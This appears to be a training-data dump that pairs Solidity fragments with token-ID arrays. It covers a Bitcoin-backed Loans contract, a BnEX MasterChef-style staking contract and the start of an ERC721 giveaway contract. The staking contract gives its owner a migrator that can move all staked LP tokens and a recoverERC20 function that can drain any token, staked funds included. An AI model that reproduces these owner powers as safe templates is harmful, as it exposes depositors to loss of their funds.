require(token.transfer(loans[loan].lender, loans[loan].principal), "Loans.close: Failed to transfer principal to Lender"); } else { if (funds.custom(fundIndex[loan]) == false) { funds.decreaseTotalBorrow(loans[loan].principal); } funds.deposit(fundIndex[loan], loans[loan].principal); } } // If Loan has been withdrawn, transfer Principal + Interest to Lender and Fee to Arbiter else { if (fundIndex[loan] == bytes32(0)) { require(token.transfer(loans[loan].lender, owedToLender(loan)), "Loans.close: Failed to transfer owedToLender to Lender"); } else { if (funds.custom(fundIndex[loan]) == false) { funds.decreaseTotalBorrow(loans[loan].principal); } funds.deposit(fundIndex[loan], owedToLender(loan)); } require(token.transfer(loans[loan].arbiter, fee(loan)), "Loans.close: Failed to transfer fee to Arbiter"); } } /** * @notice Any third party starts liquidation of the Bitcoin collateral by providing tokens with the intention to buy at a discount * @param loan The Id of the Loan * @param secretHash The Secret Hash D1 provided by the liquidator * @param pubKeyHash The Bitcoin Public Key Hash of the liquidator * @return sale_ The Id of the Sale (Liquidation) */ function liquidate(bytes32 loan, bytes32 secretHash, bytes20 pubKeyHash) external returns (bytes32 sale_) { require(!off(loan), "Loans.liquidate: Loan must not be inactive"); require(bools[loan].withdrawn == true, "Loans.liquidate: Loan principal must be withdrawn"); require(msg.sender != loans[loan].borrower && msg.sender != loans[loan].lender, "Loans.liquidate: Liquidator must be a third-party"); require(secretHash != bytes32(0) && pubKeyHash != bytes20(0), "Loans.liquidate: secretHash and pubKeyHash must be non-zero"); // Check if this is the first liquidation (if a liquidation fails because the liquidator didn't claim, up to MAX_NUM_LIQUIDATIONS can occur) if (sales.next(loan) == 0) { // Check if current time is greater than loan expiration timestamp if (now > loans[loan].loanExpiration) { require(bools[loan].paid == false, "Loans.liquidate: loan must not have already been repaid"); } else { require(!safe(loan), "Loans.liquidate: collateralization must be below min-collateralization ratio"); } // If Loan is not custom, update global borrow and interest variables in Funds contract if (funds.custom(fundIndex[loan]) == false) { funds.decreaseTotalBorrow(loans[loan].principal); funds.calcGlobalInterest(); } } else { // Since there is only 1 + MAX_NUM_LIQUIDATIONS secret hashes per participant, only MAX_NUM_LIQUIDATIONS Liquidation can occur require(sales.next(loan) < MAX_NUM_LIQUIDATIONS, "Loans.liquidate: Max number of liquidations reached"); require(!sales.accepted(sales.saleIndexByLoan(loan, sales.next(loan) - 1)), "Loans.liquidate: Previous liquidation already accepted"); require( now > sales.settlementExpiration(sales.saleIndexByLoan(loan, sales.next(loan) - 1)), "Loans.liquidate: Previous liquidation settlement expiration hasn't expired" ); } require(token.balanceOf(msg.sender) >= ddiv(discountCollateralValue(loan)), "Loans.liquidate: insufficient balance to liquidate"); require(token.transferFrom(msg.sender, address(sales), ddiv(discountCollateralValue(loan))), "Loans.liquidate: Token transfer failed"); SecretHashes storage h = secretHashes[loan]; uint256 i = sales.next(loan); // Create new Sale with secret hashes associated with sale index sale_ = sales.create( loan, loans[loan].borrower, loans[loan].lender, loans[loan].arbiter, msg.sender, h.secretHashAs[i], h.secretHashBs[i], h.secretHashCs[i], secretHash, pubKeyHash ); if (bools[loan].sale == false) { bools[loan].sale = true; require(token.transfer(address(sales), repaid(loan)), "Loans.liquidate: Token transfer to Sales contract failed"); } // If onDemandSpv is set, cancel spv proofs for this Loan if (address(col.onDemandSpv()) != address(0)) {col.cancelSpv(loan);} emit Liquidate(loan, secretHash, pubKeyHash); } }
* @notice Lender sends tokens to the loan agreement @param loan The Id of the Loan/
function fund(bytes32 loan) external { require(secretHashes[loan].set, "Loans.fund: Secret hashes must be set"); require(bools[loan].funded == false, "Loans.fund: Loan is already funded"); bools[loan].funded = true; require(token.transferFrom(msg.sender, address(this), principal(loan)), "Loans.fund: Failed to transfer tokens"); emit FundLoan(loan); }
7,298,230
[ 1, 4625, 348, 7953, 560, 30, 380, 632, 20392, 511, 2345, 9573, 2430, 358, 326, 28183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13, 3903, 288, 203, 3639, 2583, 12, 5875, 14455, 63, 383, 304, 8009, 542, 16, 315, 1504, 634, 18, 74, 1074, 30, 7875, 9869, 1297, 506, 444, 8863, 203, 3639, 2583, 12, 1075, 3528, 63, 383, 304, 8009, 12125, 785, 422, 629, 16, 315, 1504, 634, 18, 74, 1074, 30, 3176, 304, 353, 1818, 9831, 785, 8863, 203, 3639, 1426, 87, 63, 383, 304, 8009, 12125, 785, 273, 638, 31, 203, 3639, 2583, 12, 2316, 18, 13866, 1265, 12, 3576, 18, 15330, 16, 1758, 12, 2211, 3631, 8897, 12, 383, 304, 13, 3631, 315, 1504, 634, 18, 74, 1074, 30, 11175, 358, 7412, 2430, 8863, 203, 203, 3639, 3626, 478, 1074, 1504, 304, 12, 383, 304, 1769, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.6.12; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/utils/EnumerableSet.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "./BNXToken.sol"; interface IMigratorChef { // Perform LP token migration from legacy UniswapV2 to BnEXSwap. // Take the current LP token address and return the new LP token address. // Migrator should have full access to the caller's LP token. // Return the new LP token address. // // XXX Migrator must have allowance access to UniswapV2 LP tokens. // BnEXSwap must mint EXACTLY the same amount of BnEXSwap LP tokens or // else something bad will happen. Traditional UniswapV2 does not // do that so be careful! function migrate(IERC20 token) external returns (IERC20); } // Master is the master of BnEX. He can make BnEX and he is a fair guy. // // Note that it's ownable and the owner wields tremendous power. The ownership // will be transferred to a governance smart contract once BNX is sufficiently // distributed and the community can show to govern itself. // // Have fun reading it. Hopefully it's bug-free. God bless. contract Master is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of BNXs // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accBnEXPerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accBnEXPerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. BNXs to distribute per block. uint256 lastRewardBlock; // Last block number that BNXs distribution occurs. uint256 accBnEXPerShare; // Accumulated BNXs per share, times 1e12. See below. } // The BNX TOKEN! BNXToken public bnx; // Dev address. address public devaddr; // Block number when beta test period ends. uint256 public betaTestEndBlock; // Block number when bonus BNX period ends. uint256 public bonusEndBlock; // Block number when mint SAKE period ends. uint256 public mintEndBlock; // BNX tokens created per block. uint256 public bnxPerBlock; // Bonus muliplier 1000 bnx per block. uint256 public constant BONUS_ONE_MULTIPLIER = 10; // Bonus muliplier 100 bnx per block. uint256 public constant BONUS_TWO_MULTIPLIER = 2; // beta test block num,about 5 days. uint256 public constant BETA_BLOCKNUM = 144000; // Bonus block num,about 15 days. uint256 public constant BONUS_BLOCKNUM = 432000; // mint end block num,about 40 days. uint256 public constant MINTEND_BLOCKNUM = 1152000; // dev shares 1/10 of user mint is additionaly minted so for 100 bnx minted: 10/(100+10) = 9.09%. uint256 public constant DEV_SHARES = 10; // The migrator contract. It has a lot of power. Can only be set through governance (owner). IMigratorChef public migrator; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping(uint256 => mapping(address => UserInfo)) public userInfo; // Total allocation poitns. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when BNX mining starts. uint256 public startBlock; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw( address indexed user, uint256 indexed pid, uint256 amount ); constructor( BNXToken _bnx, address _devaddr, uint256 _bnxPerBlock, uint256 _startBlock ) public { bnx = _bnx; devaddr = _devaddr; bnxPerBlock = _bnxPerBlock; startBlock = _startBlock; betaTestEndBlock = startBlock.add(BETA_BLOCKNUM); bonusEndBlock = startBlock.add(BONUS_BLOCKNUM).add(BETA_BLOCKNUM); mintEndBlock = startBlock.add(MINTEND_BLOCKNUM).add(BETA_BLOCKNUM); } function poolLength() external view returns (uint256) { return poolInfo.length; } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add( uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate ) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push( PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accBnEXPerShare: 0 }) ); } // Update the given pool's BNX allocation point. Can only be called by the owner. function set( uint256 _pid, uint256 _allocPoint, bool _withUpdate ) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add( _allocPoint ); poolInfo[_pid].allocPoint = _allocPoint; } // Set the migrator contract. Can only be called by the owner. function setMigrator(IMigratorChef _migrator) public onlyOwner { migrator = _migrator; } // Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good. function migrate(uint256 _pid) public { require( address(migrator) != address(0), "BnEX::Master::migrate::MIGRATOR_NOT_EXIST" ); PoolInfo storage pool = poolInfo[_pid]; IERC20 lpToken = pool.lpToken; uint256 bal = lpToken.balanceOf(address(this)); lpToken.safeApprove(address(migrator), bal); IERC20 newLpToken = migrator.migrate(lpToken); require( bal == newLpToken.balanceOf(address(this)), "BnEX::Master::migrate::ERROR_BALANCE" ); pool.lpToken = newLpToken; } // Return reward multiplier over the given _from to _to block. function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { uint256 _toFinal = _to > mintEndBlock ? mintEndBlock : _to; if (_toFinal <= betaTestEndBlock) { return _toFinal.sub(_from); } else if (_from >= mintEndBlock) { return 0; } else if (_toFinal <= bonusEndBlock) { if (_from < betaTestEndBlock) { return betaTestEndBlock.sub(_from).add( _toFinal.sub(betaTestEndBlock).mul(BONUS_ONE_MULTIPLIER) ); } else { return _toFinal.sub(_from).mul(BONUS_ONE_MULTIPLIER); } } else { if (_from < betaTestEndBlock) { return betaTestEndBlock .sub(_from) .add( bonusEndBlock.sub(betaTestEndBlock).mul( BONUS_ONE_MULTIPLIER ) ) .add( (_toFinal.sub(bonusEndBlock).mul(BONUS_TWO_MULTIPLIER)) ); } else if (betaTestEndBlock <= _from && _from < bonusEndBlock) { return bonusEndBlock.sub(_from).mul(BONUS_ONE_MULTIPLIER).add( _toFinal.sub(bonusEndBlock).mul(BONUS_TWO_MULTIPLIER) ); } else { return _toFinal.sub(_from).mul(BONUS_TWO_MULTIPLIER); } } } // View function to see pending BNXs on frontend. function pendingBNX(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accBnEXPerShare = pool.accBnEXPerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier( pool.lastRewardBlock, block.number ); uint256 bnxReward = multiplier .mul(bnxPerBlock) .mul(pool.allocPoint) .div(totalAllocPoint); accBnEXPerShare = accBnEXPerShare.add( bnxReward.mul(1e12).div(lpSupply) ); } return user.amount.mul(accBnEXPerShare).div(1e12).sub(user.rewardDebt); } // Update reward variables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 bnxReward = multiplier .mul(bnxPerBlock) .mul(pool.allocPoint) .div(totalAllocPoint); bnx.mint(devaddr, bnxReward.div(DEV_SHARES)); bnx.mint(address(this), bnxReward); pool.accBnEXPerShare = pool.accBnEXPerShare.add( bnxReward.mul(1e12).div(lpSupply) ); pool.lastRewardBlock = block.number; } // Deposit LP tokens to Master for BNX allocation. function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user .amount .mul(pool.accBnEXPerShare) .div(1e12) .sub(user.rewardDebt); if (pending > 0) { safeBNXTransfer(msg.sender, pending); } } if (_amount > 0) { pool.lpToken.safeTransferFrom( address(msg.sender), address(this), _amount ); user.amount = user.amount.add(_amount); } user.rewardDebt = user.amount.mul(pool.accBnEXPerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount); } // Withdraw LP tokens from Master. function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "BnEX::Master::withdraw::WRONG_AMOUNT"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accBnEXPerShare).div(1e12).sub( user.rewardDebt ); if (pending > 0) { safeBNXTransfer(msg.sender, pending); } if (_amount > 0) { user.amount = user.amount.sub(_amount); pool.lpToken.safeTransfer(address(msg.sender), _amount); } user.rewardDebt = user.amount.mul(pool.accBnEXPerShare).div(1e12); emit Withdraw(msg.sender, _pid, _amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; pool.lpToken.safeTransfer(address(msg.sender), user.amount); emit EmergencyWithdraw(msg.sender, _pid, user.amount); user.amount = 0; user.rewardDebt = 0; } // Safe bnx transfer function, just in case if rounding error causes pool to not have enough BNXs. function safeBNXTransfer(address _to, uint256 _amount) internal { uint256 bnxBal = bnx.balanceOf(address(this)); if (_amount > bnxBal) { bnx.transfer(_to, bnxBal); } else { bnx.transfer(_to, _amount); } } // ######################################## // DEV FUNCTIONS // ######################################## // Handover the bnxtoken. function transferOwnershipOfBNXToken(address newOwner) public onlyOwner { bnx.transferOwnership(newOwner); } // Update dev address by the previous dev. function dev(address _devaddr) public { require(msg.sender == devaddr, "BnEX::Master::dev::FORBIDDEN"); devaddr = _devaddr; } /** * @param tokenAddress The token contract address */ function recoverERC20(address tokenAddress) public onlyOwner { IERC20 tokenContract = IERC20(tokenAddress); uint256 tokenBal = tokenContract.balanceOf(address(this)); require( tokenContract.transfer(msg.sender, tokenBal), "BnEX::Master::recoverERC20::TRANSFER_FAILED" ); } }
Handover the bnxtoken.
function transferOwnershipOfBNXToken(address newOwner) public onlyOwner { bnx.transferOwnership(newOwner); }
12,738,689
[ 1, 4625, 348, 7953, 560, 30, 225, 2841, 1643, 326, 324, 16769, 2316, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 7412, 5460, 12565, 951, 15388, 60, 1345, 12, 2867, 394, 5541, 13, 1071, 1338, 5541, 288, 203, 3639, 324, 16769, 18, 13866, 5460, 12565, 12, 2704, 5541, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// // Made by: Omicron Blockchain Solutions // https://omicronblockchain.com // // SPDX-License-Identifier: MIT pragma solidity =0.8.10; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/interfaces/IERC165.sol"; import "@openzeppelin/contracts/interfaces/IERC721.sol"; import "../interfaces/IMintableERC721.sol"; /** * @title Reedemable ERC721 Giveaway * @author Omicron Blockchain Solutions * * @notice Reedemable ERC721 Giveaway is a smart contract that allow accounts that own a specific ERC721 token * to get another ERC721 token for free, in a fixed period of time; the smart contract * is generic and can support any type of mintable NFT (see MintableERC721 interface). * For instance, suppose that users already own NFTs named A. Then, for each minted NFT A, the owner * can also mint another NFT called B. The releationship is one-to-one and it can be only one NFT of type B * minted for a distinct NFT of type A. * * @dev All the "fixed" parameters can be changed on the go after smart contract is deployed * and operational, but this ability is reserved for quick fix-like adjustments, and to provide * an ability to restart and run a giveaway after the previous one ends. * * Note that both the `giveawayTokenContract` and `baseTokenContract` contracts must be mintble NFTS * for this to work. * * When redeem an NFT token by this contract, the token is minted by the recipient. * * To successfully redeem a token, the caller must: * 1) Own NFTs minted using the `baseTokenContract` * 2) The NFTs minted using the `baseTokenContract` should already not been used to redeem 